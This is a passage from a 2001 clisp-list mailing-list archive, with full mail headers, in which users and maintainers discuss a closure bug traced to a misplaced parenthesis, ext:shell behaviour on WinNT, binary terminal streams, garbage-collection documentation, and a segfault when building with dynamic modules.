> [2]> (machine-version) > "POWER MACINTOSH" > [3]> (software-version) > "GNU C 2.95.2 19991024 (release)" > [4]> (system::version) > (20010503) > [5]> (software-type) > "ANSI C program" > > This is on a G4 running OS X, version 10.0.3. > > --David Finton > > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list > From smishra@speakeasy.net Mon Jun 18 23:17:47 2001 Received: from mail6.speakeasy.net ([216.254.0.206]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 15CEpe-0001Yk-00 for ; Mon, 18 Jun 2001 23:17:47 -0700 Received: (qmail 13387 invoked from network); 19 Jun 2001 06:17:45 -0000 Received: from unknown (HELO spib) ([64.24.185.50]) (envelope-sender ) by mail6.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 19 Jun 2001 06:17:45 -0000 Date: Mon, 18 Jun 2001 23:17:16 -0700 Content-Type: text/plain; format=flowed; charset=us-ascii Mime-Version: 1.0 (Apple Message framework v388) From: Sunil Mishra To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.388) Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] Problems in this closure Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, I think I have uncovered a little bug in clisp. Although I have not tried this in any other implementation, everything I know about lisp tells me it is a genuine bug. The bad news is, I'm not sure how to go about debugging the beast. I'm open to ideas, and I will think about it a little myself. This is what's happening. I have a closure that is constructed in the course of running a program. The closure calls another function, LOCATION-OPEN-P. I trace this function, but clisp doesn't report it called. The closure simply returns nil. Here's the sequence of interactions: DESIM[83]> (trace location-open-p) ;; Tracing function LOCATION-OPEN-P. (LOCATION-OPEN-P) DESIM[84]> closure # DESIM[85]> (funcall closure nil nil *the-tunnel*) NIL I just downloaded and installed the newest version of clisp. Any ideas? Sunil From bruce253@163.net Tue Jun 19 01:25:22 2001 Received: from [211.101.185.130] (helo=clubsvr) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15CGp7-0002Sj-00 for ; Tue, 19 Jun 2001 01:25:22 -0700 Received: from [211.101.185.130] by clubsvr (ArGoSoft Mail Server Plus, Version 1.4 (1.4.0.5)); Tue, 19 Jun 2001 16:27:55 Message-ID: <3B2F0B45.7070800@163.net> Date: Tue, 19 Jun 2001 16:20:21 +0800 From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; rv:0.9.1) Gecko/20010612 X-Accept-Language: zh-cn, en MIME-Version: 1.0 To: clisp-list CC: Sunil Mishra Subject: Re: [clisp-list] Problems in this closure References: Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sunil Mishra wrote: > Hi, > [...] > DESIM[83]> (trace location-open-p) > ;; Tracing function LOCATION-OPEN-P. > (LOCATION-OPEN-P) > DESIM[84]> closure > # (DECLARE (IGNORE THIS-EVENT EVENT) (LOCATION-OPEN-P TUNNEL ROW COLUMN))> > DESIM[85]> (funcall closure nil nil *the-tunnel*) > NIL > > I just downloaded and installed the newest version of clisp. > > Any ideas? Probably you've misplaced the right parenthesis after declare ignore. The following transcript may be helpful. If it does not help, show us your definiton of the closure. [2]> (defun my-double (x y) (declare (ignore y)) (+ x x)) MY-DOUBLE [11]> my-double *** - EVAL: variable MY-DOUBLE has no value 1. Break [12]> [13]> (symbol-function 'my-double) # [14]> (my-double 12 'x) 24 [15]> -- The Least Perceptive Literary Critic The most important critic in our field of study is Lord Halifax. A most individual judge of poetry, he once invited Alexander Pope round to give a public reading of his latest poem. Pope, the leading poet of his day, was greatly surprised when Lord Halifax stopped him four or five times and said, "I beg your pardon, Mr. Pope, but there is something in that passage that does not quite please me." Pope was rendered speechless, as this fine critic suggested sizeable and unwise emendations to his latest masterpiece. "Be so good as to mark the place and consider at your leisure. I'm sure you can give it a better turn." After the reading, a good friend of Lord Halifax, a certain Dr. Garth, took the stunned Pope to one side. "There is no need to touch the lines," he said. "All you need do is leave them just as they are, call on Lord Halifax two or three months hence, thank him for his kind observation on those passages, and then read them to him as altered. I have known him much longer than you have, and will be answerable for the event." Pope took his advice, called on Lord Halifax and read the poem exactly as it was before. His unique critical faculties had lost none of their edge. "Ay", he commented, "now they are perfectly right. Nothing can be better." -- Stephen Pile, "The Book of Heroic Failures" From smishra@speakeasy.net Tue Jun 19 07:05:24 2001 Received: from mail12.speakeasy.net ([216.254.0.212]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 15CM8C-0002Yz-00 for ; Tue, 19 Jun 2001 07:05:24 -0700 Received: (qmail 1216 invoked from network); 19 Jun 2001 14:05:23 -0000 Received: from unknown (HELO spib) ([216.126.137.199]) (envelope-sender ) by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 19 Jun 2001 14:05:23 -0000 Date: Wed, 31 Dec 1969 16:19:32 -0800 Content-Type: text/plain; format=flowed; charset=us-ascii X-Mailer: Apple Mail (2.388) From: Sunil Mishra To: clisp-list Mime-Version: 1.0 (Apple Message framework v388) In-Reply-To: <3B2F0B45.7070800@163.net> Subject: Re: [clisp-list] Problems in this closure Content-Transfer-Encoding: 7bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Duh... I think I'll go hide in a corner now... Thanks for spotting that. Sunil On Tuesday, June 19, 2001, at 01:20 AM, Bruce wrote: > > Probably you've misplaced the right parenthesis after declare ignore. > The following transcript may be helpful. If it does not help, show us > your definiton of the closure. > > [2]> (defun my-double (x y) (declare (ignore y)) (+ x x)) > MY-DOUBLE > [11]> my-double > *** - EVAL: variable MY-DOUBLE has no value > 1. Break [12]> > [13]> (symbol-function 'my-double) > # (IGNORE Y)) (BLOCK MY-DOUBLE (+ X X))> > [14]> (my-double 12 'x) > 24 > [15]> > > -- > The Least Perceptive Literary Critic > The most important critic in our field of study is Lord > Halifax. A most > individual judge of poetry, he once invited Alexander Pope > round to give > a public reading of his latest poem. > Pope, the leading poet of his day, was greatly surprised when Lord > Halifax stopped him four or five times and said, "I beg your > pardon, Mr. > Pope, but there is something in that passage that does not > quite please me." > Pope was rendered speechless, as this fine critic suggested > sizeable and > unwise emendations to his latest masterpiece. "Be so good as to mark > the place and consider at your leisure. I'm sure you can give it a > better turn." > After the reading, a good friend of Lord Halifax, a certain Dr. > Garth, took the stunned Pope to one side. "There is no need to touch > the lines," he said. "All you need do is leave them just as they are, > call on Lord Halifax two or three months hence, thank him for his kind > observation on those passages, and then read them to him as altered. I > have known him much longer than you have, and will be > answerable for the > event." > Pope took his advice, called on Lord Halifax and read the poem > exactly as it was before. His unique critical faculties had lost none > of their edge. "Ay", he commented, "now they are perfectly right. > Nothing can be better." > -- Stephen Pile, "The Book of Heroic Failures" > > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list > From Jeffrey.P.Lankford@aero.org Wed Jun 20 10:37:57 2001 Received: from mhultra.aero.org ([130.221.88.102]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15ClvQ-0002yV-00 for ; Wed, 20 Jun 2001 10:37:56 -0700 Received: from ladir01.aero.org by mhultra.aero.org with ESMTP for clisp-list@lists.sourceforge.net; Wed, 20 Jun 2001 10:37:29 -0700 To: clisp-list@lists.sourceforge.net X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-Id: From: Jeffrey.P.Lankford@aero.org Date: Wed, 20 Jun 2001 10:37:29 -0700 X-MIMETrack: Serialize by Router on ladir01/AeroNet/Aerospace/US(Release 5.0.5 |September 22, 2000) at 06/20/2001 10:37:29 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [clisp-list] Q: Using (ext:shell) on WinNT? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Dear clisp users, I am a clisp 2.26 newbie. I've been using it a few months to prototype some statistical analysis algorithms on a WinNT machine. I am VERY impressed with its compliance with CLtL-2. I have a few questions concerning use of the shell interface (the ext: package). Both (ext:shell "graftabl.com") and (ext:execute "graftabl.com") produce the same output ("graftabl.com" is an obsolete MS-DOS tool still found in the System32 directory -- i just use it as a simple test case to verify that ext:shell can find and launch a program). However, (ext:shell "graftabl") produces a file-not-found error; I would have expected that DOS command extension rules (.EXE, .COM, .BAT) to be obeyed on a Win32 implmentation, but they are not. Why not? Is there a way to get this to work? Likewise, (ext:shell "set") also produces a file-not-found error; in this case "set" is not a file, but a DOS CMD shell built-in. How do i execute CMS shell built-in commands? I prefer to use Cygwin bash shell as my command interpretter. How do I get clisp to use bash? The implementation documentation says that on UNIX boxes setting the SHELL environment variable works. Does this also work in WinNT? Actually, i would prefer to set a lisp special variable, say (setq ext:*shell" #P"D:\\cygwin\bin\bash.exe"), and be able to switch command interpretters under program control, but (describe ext:*shell*) didn't find that symbol-name. I realize this is an obscure, specialized question, but all advice is appreciated. thanks Jeff Lankford From lenst@online.no Wed Jun 20 13:31:53 2001 Received: from mail44-s.fg.online.no ([148.122.161.44] helo=mail44.fg.online.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15Codk-0000Hg-00 for ; Wed, 20 Jun 2001 13:31:52 -0700 Received: from localhost (ti01a65-0278.dialup.online.no [130.67.9.24]) by mail44.fg.online.no (8.9.3/8.9.3) with ESMTP id WAA04860; Wed, 20 Jun 2001 22:31:48 +0200 (MET DST) Message-Id: <200106202031.WAA04860@mail44.fg.online.no> Date: Wed, 20 Jun 2001 22:31:38 +0200 From: Lennart Staflin Content-Type: text/plain; format=flowed; charset=us-ascii Subject: Re: [clisp-list] standard in/out as binary streams Cc: To: sds@gnu.org X-Mailer: Apple Mail (2.388) In-Reply-To: Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On fredag, juni 15, 2001, at 06:45 , Sam Steingold wrote: > > I am not sure if it answers your question, but STREAM-ELEMENT-TYPE is > setf-able in CLISP, see . Yes, possibly. The *terminal-io* stream seems to be the standard in/out, but for this particular stream i get: *** - (SETF STREAM-ELEMENT-TYPE) on # is illegal //Lennart From sds@gnu.org Wed Jun 20 15:09:04 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15Cq9h-0003hx-00 for ; Wed, 20 Jun 2001 15:08:57 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id SAA11457; Wed, 20 Jun 2001 18:08:33 -0400 (EDT) X-Envelope-To: To: Lennart Staflin Cc: Subject: Re: [clisp-list] standard in/out as binary streams References: <200106202031.WAA04860@mail44.fg.online.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200106202031.WAA04860@mail44.fg.online.no> Date: 20 Jun 2001 18:07:06 -0400 Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200106202031.WAA04860@mail44.fg.online.no> > * On the subject of "Re: [clisp-list] standard in/out as binary streams" > * Sent on Wed, 20 Jun 2001 22:31:38 +0200 > * Honorable Lennart Staflin writes: > > On fredag, juni 15, 2001, at 06:45 , Sam Steingold wrote: > > > > > I am not sure if it answers your question, but STREAM-ELEMENT-TYPE is > > setf-able in CLISP, see . > > Yes, possibly. The *terminal-io* stream seems to be the standard in/out, > but for this > particular stream i get: > *** - (SETF STREAM-ELEMENT-TYPE) on # is illegal this is because you are using a terminal. if you redirect i/o of your clisp process, you would be able to SETF STREAM-ELEMENT-TYPE. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Don't take life too seriously, you'll never get out of it alive! From sds@gnu.org Thu Jun 21 10:53:06 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15D8de-0005dN-00 for ; Thu, 21 Jun 2001 10:53:06 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA06222; Thu, 21 Jun 2001 13:53:01 -0400 (EDT) X-Envelope-To: To: Jeffrey.P.Lankford@aero.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Q: Using (ext:shell) on WinNT? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 21 Jun 2001 13:52:01 -0400 Message-ID: Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Q: Using (ext:shell) on WinNT?" > * Sent on Wed, 20 Jun 2001 10:37:29 -0700 > * Honorable Jeffrey.P.Lankford@aero.org writes: > > I am a clisp 2.26 newbie. welcome! > I am VERY impressed with its compliance with CLtL-2. actually we "purport to conform" to ANSI CL spec, which differs from CLtL2. > However, (ext:shell "graftabl") produces a file-not-found error; I > would have expected that DOS command extension rules (.EXE, .COM, > .BAT) to be obeyed on a Win32 implmentation, but they are not. > Why not? Ask Mr. Gates. :-( > Is there a way to get this to work? dunno. > Likewise, (ext:shell "set") also produces a file-not-found error; in > this case "set" is not a file, but a DOS CMD shell built-in. How do i > execute CMS shell built-in commands? why do you want to?! > I prefer to use Cygwin bash shell as my command interpretter. set COMSPEC d:\cygwin\bin\bash.exe > Actually, i would prefer to set a lisp special variable, say (setq > ext:*shell" #P"D:\\cygwin\bin\bash.exe"), and be able to switch > command interpretters under program control, but (describe > ext:*shell*) didn't find that symbol-name. I realize this is an > obscure, specialized question, but all advice is appreciated. this is not supported. maybe you can tell us what you are trying to accomplish? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Sufficiently advanced stupidity is indistinguishable from malice. From don-sourceforge@isis.compsvcs.com Thu Jun 21 11:33:29 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15D9Gj-00030o-00 for ; Thu, 21 Jun 2001 11:33:29 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f5LIZRi13164 for clisp-list@lists.sourceforge.net; Thu, 21 Jun 2001 11:35:28 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15154.15980.30429.581085@isis.compsvcs.com> Date: Thu, 21 Jun 2001 11:35:23 -0700 (PDT) To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Subject: [clisp-list] impnotes explanation of GC Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Having not looked at impnotes for some time, I'm generally impressed with all the progress. I was interested to see a new section on GC and now that I've read it I have some questions. Perhaps the answers could eventually find their way into later versions of impnotes. I know, this is the thanks you get for writing documentation. And perhaps I should be reading the code in order to find out, and when I do I should, of course, write the documentation so people can complain to me! Well, if anyone who already knows the answers can explain them to me (and the list) I'll be happy to try to organize them into new documentation that can be added to impnotes. ================ A small detail - on the page based memory models it's not clear how gc (or even allocation) works with objects bigger than a page. I assume that a multipage array is allocated in consecutive virtual memory addresses. If the first such page contains an object that is gc'd then we end up moving the whole array? Or perhaps multipage objects always start on a page boundary? SPVW_PURE_BLOCKS lists as an advantage "No 16 MB total size limit". I don't understand what this has to do with such a limit, i.e., why do the others have a limit? By total size I guess this means the lisp heap? The next section, with title "The following combinations of memory model and mmap tricks are possible:" doesn't make sense to me either. Is generational gc really a mmap trick? I'd like to understand better how the generational gc works in each case. Also I'd like at least a brief explanation of the different types of mmap. And finally, how can you tell for the clisp you're running which memory model is in use, which type of mmap you're using, whether you're using generational gc, etc. Also the two tables are distingushed by "TYPECODES" which are not mentioned anywhere else. Is this the same as the tags above? I guess not, since everything is supposed to have tags. So what does not have type codes? Is this a property of a clisp version or a build? How can you tell for the clisp you're running which case applies? From don-sourceforge@isis.compsvcs.com Thu Jun 21 12:05:11 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15D9lP-0008Da-00 for ; Thu, 21 Jun 2001 12:05:11 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f5LJ77r13203; Thu, 21 Jun 2001 12:07:08 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15154.17881.38692.434596@isis.compsvcs.com> Date: Thu, 21 Jun 2001 12:07:04 -0700 (PDT) To: clisp-list@lists.sourceforge.net In-Reply-To: References: <200106191923.f5JJNfH21443@host1.testnetwork> <15151.44660.8428.933789@isis.compsvcs.com> <15151.45908.338647.150260@isis.compsvcs.com> <15151.50006.178280.982354@isis.compsvcs.com> <15152.19252.634334.695249@isis.compsvcs.com> <15153.1314.318380.871308@isis.compsvcs.com> <15154.11029.826090.701849@isis.compsvcs.com> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Subject: [clisp-list] Re: clisp build error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > > > step back - whenever you build a working lisp --with-modules=regexp, you > > > have used dynamic modules. they do work. > > Does this mean that if I configure --with-modules=regexp then I get no > > more advantage from --with-dynamic-modules ? > --with-modules=regexp wouldn't work --without-modules=regexp. sorry but this is making no sense to me > > I thought that --with-modules=regexp meant to compile in regexp, which > > is what I'd call a static module. > nope: --with-modules=regexp added regexp to the "full" image (invoked > with `clisp -K full`), but the default "base" image does not get > regexp. Ok, so you're saying that we create two images, base and full. Full has regexp built in. I had imagined that dynamic modules meant that after you start lisp you get to "load" a module in the form of a .so or .dll file. If that's not what it is then what is it? > > In the last version I tried: > > 2000-03-31 Bruno Haible > > > > which corresponds pretty well to the thing I was checking: > > CVS/Tag: > > D2000.04.01.08.00.00 > > and you are getting a crash with _this_?! yes, when configure with dynamic modules > are you sure this not something with your machine? disk? ram? cpu? > you are using Linux - you probably have not rebooted for ages (writhing > with envy :-). Well, actually this machine hasn't been up that long. 21 days. The real proof to the contrary is that when I leave out --with-dynamic-modules (even though I include regexp) I have NO problems. > Maybe you should consider upgrading your kernel? That would be a total cop-out. I really doubt it would matter. (I sure hope not.) And even if it did, then you'd be telling everyone with the older kernel that they have to upgrade. This is the kernel I got from installing redhat 7, so I bet there are lots of people out there using it. BTW, here are the commands I executed, just so you can check. [root@host1 bug]# cvs -z3 -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp co -D 2000-07-01 clisp [root@host1 bug]# cd clisp [root@host1 clisp]# cat CVS/Tag => D2000.07.01.07.00.00 [root@host1 clisp]# ./configure --with-dynamic-modules --build build => ... ;; Loading of file /root/clisp/bug/clisp/build/dutch.lisp is finished. ;; Loading file /root/clisp/bug/clisp/build/config.lisp *** - handle_fault error2 ! address = 0x2034A000 not in [0x2025B000,0x2031BBC8) ! SIGSEGV cannot be cured. Fault address = 0x2034A000. make: *** [interpreted.mem] Segmentation fault (core dumped) [root@host1 clisp]# cd .. [root@host1 bug]# rm -rf clisp/ [root@host1 bug]# cvs -z3 -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp co -D 2000-04-01 clisp => [just to make sure you think this looks right] cvs server: Updating clisp U clisp/.cvsignore U clisp/ANNOUNCE U clisp/COPYRIGHT ... [root@host1 bug]# cd clisp [root@host1 clisp]# cat CVS/Tag => D2000.04.01.08.00.00 [root@host1 clisp]# ./configure --with-dynamic-modules --build build => ... ;; Loading of file /root/clisp/bug/clisp/build/reploop.lisp is finished. ;; Loading file /root/clisp/bug/clisp/build/dribble.lisp *** - handle_fault error2 ! address = 0x20357000 not in [0x2025A000,0x202EEEE0) ! SIGSEGV cannot be cured. Fault address = 0x20357000. make: *** [halfcompiled.mem] Segmentation fault (core dumped) From sds@gnu.org Thu Jun 21 13:57:41 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15DBWF-0007BZ-00 for ; Thu, 21 Jun 2001 13:57:40 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA30491; Thu, 21 Jun 2001 15:57:32 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp build error References: <200106191923.f5JJNfH21443@host1.testnetwork> <15151.44660.8428.933789@isis.compsvcs.com> <15151.45908.338647.150260@isis.compsvcs.com> <15151.50006.178280.982354@isis.compsvcs.com> <15152.19252.634334.695249@isis.compsvcs.com> <15153.1314.318380.871308@isis.compsvcs.com> <15154.11029.826090.701849@isis.compsvcs.com> <15154.17881.38692.434596@isis.compsvcs.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15154.17881.38692.434596@isis.compsvcs.com> Date: 21 Jun 2001 16:56:20 -0400 Message-ID: Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15154.17881.38692.434596@isis.compsvcs.com> > * On the subject of "[clisp-list] Re: clisp build error" > * Sent on Thu, 21 Jun 2001 12:07:04 -0700 (PDT) > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > > Sam Steingold writes: > > > > step back - whenever you build a working lisp --with-modules=regexp, you > > > > have used dynamic modules. they do work. > > > Does this mean that if I configure --with-modules=regexp then I get no > > > more advantage from --with-dynamic-modules ? > > --with-modules=regexp wouldn't work --without-modules=regexp. > sorry but this is making no sense to me oops - should have been "--with-modules=regexp wouldn't work --without-dynamic-modules" > > > I thought that --with-modules=regexp meant to compile in regexp, which > > > is what I'd call a static module. > > nope: --with-modules=regexp added regexp to the "full" image (invoked > > with `clisp -K full`), but the default "base" image does not get > > regexp. > Ok, so you're saying that we create two images, base and full. > Full has regexp built in. > I had imagined that dynamic modules meant that after you start lisp > you get to "load" a module in the form of a .so or .dll file. > If that's not what it is then what is it? nope :-) "dynamic modules" allow adding FFI modules (like the ones in the modules directory) to an existing CLISP image, without recompiling CLISP. > > > In the last version I tried: > > > 2000-03-31 Bruno Haible > > > > > > which corresponds pretty well to the thing I was checking: > > > CVS/Tag: > > > D2000.04.01.08.00.00 > > > > and you are getting a crash with _this_?! > yes, when configure with dynamic modules what about $ ./configure --with-modules=regexp -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Those who can laugh at themselves will never cease to be amused. From don-sourceforge@isis.compsvcs.com Thu Jun 21 16:11:27 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15DDbj-00008Z-00 for ; Thu, 21 Jun 2001 16:11:27 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f5LNDH013916; Thu, 21 Jun 2001 16:13:17 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15154.32649.630413.248505@isis.compsvcs.com> Date: Thu, 21 Jun 2001 16:13:13 -0700 (PDT) To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp build error In-Reply-To: References: <200106191923.f5JJNfH21443@host1.testnetwork> <15151.44660.8428.933789@isis.compsvcs.com> <15151.45908.338647.150260@isis.compsvcs.com> <15151.50006.178280.982354@isis.compsvcs.com> <15152.19252.634334.695249@isis.compsvcs.com> <15153.1314.318380.871308@isis.compsvcs.com> <15154.11029.826090.701849@isis.compsvcs.com> <15154.17881.38692.434596@isis.compsvcs.com> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > > I had imagined that dynamic modules meant that after you start lisp > > you get to "load" a module in the form of a .so or .dll file. > > If that's not what it is then what is it? > > nope :-) "dynamic modules" allow adding FFI modules (like the ones in > the modules directory) to an existing CLISP image, without recompiling > CLISP. I see I've been wasting my time even more than I thought. > what about > $ ./configure --with-modules=regexp [root@host1 clisp]# cd build [root@host1 build]# make distclean [root@host1 build]# cd .. [root@host1 clisp]# ./configure --with-modules=regexp --build build ... test '!' -s minitests.output.i686-pc-linuxlibc6 makemake: modules=regexp: invalid package name ahem - let's try ./configure --with-module=regexp --build build ... Test passed. make[1]: Leaving directory `/root/clisp/bug/clisp/build/suite' From sds@gnu.org Thu Jun 21 16:28:33 2001 Received: from [206.69.89.65] (helo=sanpietro.red-bean.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15DDsH-0002DH-00 for ; Thu, 21 Jun 2001 16:28:33 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA01970; Thu, 21 Jun 2001 18:28:31 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host gopher.exapps.com [12.25.11.194] claimed to be xchange.com To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp build error References: 